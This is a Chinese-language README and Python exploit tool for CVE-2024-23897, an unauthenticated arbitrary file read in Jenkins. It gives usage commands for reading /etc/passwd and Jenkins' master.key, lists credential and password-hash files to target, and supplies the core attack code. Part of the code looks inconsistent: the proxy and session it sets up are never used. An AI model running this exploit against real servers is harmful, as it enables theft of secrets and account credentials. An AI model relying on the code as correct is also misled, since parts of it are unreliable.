CVE-2024-23897 Jenkins 文件读取漏洞利用工具
本项目提供了一个针对 Jenkins 严重漏洞 CVE-2024-23897 的完整利用工具。该漏洞源于 args4j 库对命令行参数中 @ 字符后跟文件路径的处理不当,允许未认证的攻击者读取 Jenkins 控制器文件系统上的任意文件。
功能特性
- 交互式命令行界面:提供类似 Shell 的交互环境,方便多次文件读取操作
- 单次文件读取模式:支持通过命令行参数直接指定目标文件路径
- 代理支持:支持 HTTP/HTTPS 代理,便于通过 Burp Suite 等工具调试和分析流量
- 文件保存功能:可将读取到的文件内容保存到本地,支持覆盖已存在文件
- 超时控制:可配置请求超时时间,适应不同网络环境
- 彩色输出界面:采用随机配色方案,提供更好的终端视觉体验
- 多目标支持:支持对任意 Jenkins 实例进行测试
安装指南
系统要求
- Python 3.6 或更高版本
- 支持的操作系统:Windows / Linux / macOS
依赖项安装
pip install requests colorama
获取工具
git clone https://github.com/verylazytech/CVE-2024-23897
cd CVE-2024-23897
使用说明
基础用法
交互式 Shell 模式(推荐):
python3 CVE-2024-23897.py -u http://target-jenkins:8080
进入交互式终端后,直接输入要读取的文件路径即可:
File to read: /etc/passwd
File to read: /var/jenkins_home/secrets/master.key
File to read: exit
单次文件读取模式:
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd
高级选项
# 使用代理并保存结果
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -p http://127.0.0.1:8080 -s
# 覆盖已存在的保存文件
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -o
# 启用详细输出模式
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -v
# 设置超时时间(默认30秒)
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -t 60
参数说明
| 参数 | 说明 |
|---|---|
-u, --url | 目标 Jenkins URL(必需) |
-f, --file | 要读取的文件路径 |
-t, --timeout | 请求超时时间(秒) |
-s, --save | 保存文件内容到本地 |
-o, --overwrite | 覆盖已存在的保存文件 |
-p, --proxy | HTTP/HTTPS 代理地址 |
-v, --verbose | 启用详细输出 |
常见敏感文件路径
/proc/self/environ- 环境变量,包含JENKINS_HOME路径/proc/self/cmdline- 命令行参数/var/jenkins_home/users/users.xml- 用户账户存储位置/var/jenkins_home/users/<user_directory>/config.xml- 用户 BCrypt 密码哈希/var/jenkins_home/secrets/master.key- 加密密钥/etc/hosts- Linux 本地 DNS 解析配置/etc/passwd- Linux 用户账户信息
影响版本
- Jenkins 版本 2.441 及以下
- Jenkins LTS 版本 2.426.2 及以下
安全版本:Jenkins 2.442+ 和 Jenkins LTS 2.426.3+
核心代码
漏洞利用核心实现
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
from cmd import Cmd
import requests
import random
from colorama import Fore, Style
# 颜色配置
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]
class File_Terminal(Cmd):
"""交互式文件读取终端"""
intro = "Jenkins File Read Shell - Type 'help' for commands\n"
prompt = "File to read: "
def __init__(self, url, timeout, save, overwrite, verbose):
super().__init__()
self.url = url.rstrip('/')
self.timeout = timeout
self.save = save
self.overwrite = overwrite
self.verbose = verbose
def default(self, filepath):
"""处理用户输入的文件路径"""
if filepath.lower() in ['exit', 'quit']:
return True
try:
# 构建漏洞利用请求
# 核心原理:通过 @ 符号触发 args4j 文件读取
data = f"@/{filepath}"
response = requests.post(
f"{self.url}/cli?remoting=false",
data=data,
headers={
'Content-Type': 'application/x-www-form-urlencoded'
},
timeout=self.timeout
)
if response.status_code == 200:
content = response.text
print(f"\n{Fore.GREEN}[+] 文件内容读取成功{Style.RESET_ALL}")
print(content)
# 保存文件功能
if self.save:
filename = filepath.replace('/', '_') + '.txt'
mode = 'w' if self.overwrite else 'x'
with open(filename, mode) as f:
f.write(content)
print(f"{Fore.CYAN}[+] 已保存至: {filename}{Style.RESET_ALL}")
else:
print(f"{Fore.RED}[-] 读取失败: HTTP {response.status_code}{Style.RESET_ALL}")
except requests.exceptions.Timeout:
print(f"{Fore.RED}[-] 请求超时{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] 错误: {str(e)}{Style.RESET_ALL}")
return False
命令行参数解析模块
def parse_arguments():
"""解析命令行参数"""
parser = argparse.ArgumentParser(
description='CVE-2024-23897 - Jenkins 任意文件读取漏洞利用工具'
)
parser.add_argument(
'-u', '--url',
required=True,
help='目标 Jenkins URL (如: http://localhost:8080)'
)
parser.add_argument(
'-f', '--file',
help='要读取的文件路径(单次模式)'
)
parser.add_argument(
'-t', '--timeout',
type=int,
default=30,
help='请求超时时间(默认: 30秒)'
)
parser.add_argument(
'-s', '--save',
action='store_true',
help='保存文件内容到本地'
)
parser.add_argument(
'-o', '--overwrite',
action='store_true',
help='覆盖已存在的保存文件'
)
parser.add_argument(
'-p', '--proxy',
help='HTTP/HTTPS 代理 (如: http://127.0.0.1:8080)'
)
parser.add_argument(
'-v', '--verbose',
action='store_true',
help='启用详细输出模式'
)
return parser.parse_args()
主程序入口
def main():
"""主程序入口"""
args = parse_arguments()
# 配置代理
proxies = None
if args.proxy:
proxies = {
'http': args.proxy,
'https': args.proxy
}
# 配置全局 requests session
session = requests.Session()
session.proxies = proxies if proxies else {}
session.verify = False # 忽略 SSL 证书验证
# 显示漏洞信息
if args.verbose:
print(f"{Fore.CYAN}[*] 目标: {args.url}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] 超时: {args.timeout}s{Style.RESET_ALL}")
if args.proxy:
print(f"{Fore.CYAN}[*] 代理: {args.proxy}{Style.RESET_ALL}")
# 单次文件读取模式
if args.file:
terminal = File_Terminal(
args.url, args.timeout,
args.save, args.overwrite,
args.verbose
)
terminal.onecmd(args.file)
else:
# 交互式 Shell 模式
terminal = File_Terminal(
args.url, args.timeout,
args.save, args.overwrite,
args.verbose
)
terminal.cmdloop()
if __name__ == "__main__":
main()
免责声明:本工具仅用于安全研究和授权测试。未经授权使用本工具攻击目标系统属于违法行为,使用者需自行承担全部法律责任。开发者不对任何误用或造成的损害负责。 6HFtX5dABrKlqXeO5PUv/7KrUUWUFE9fK0I3AIVy9wc=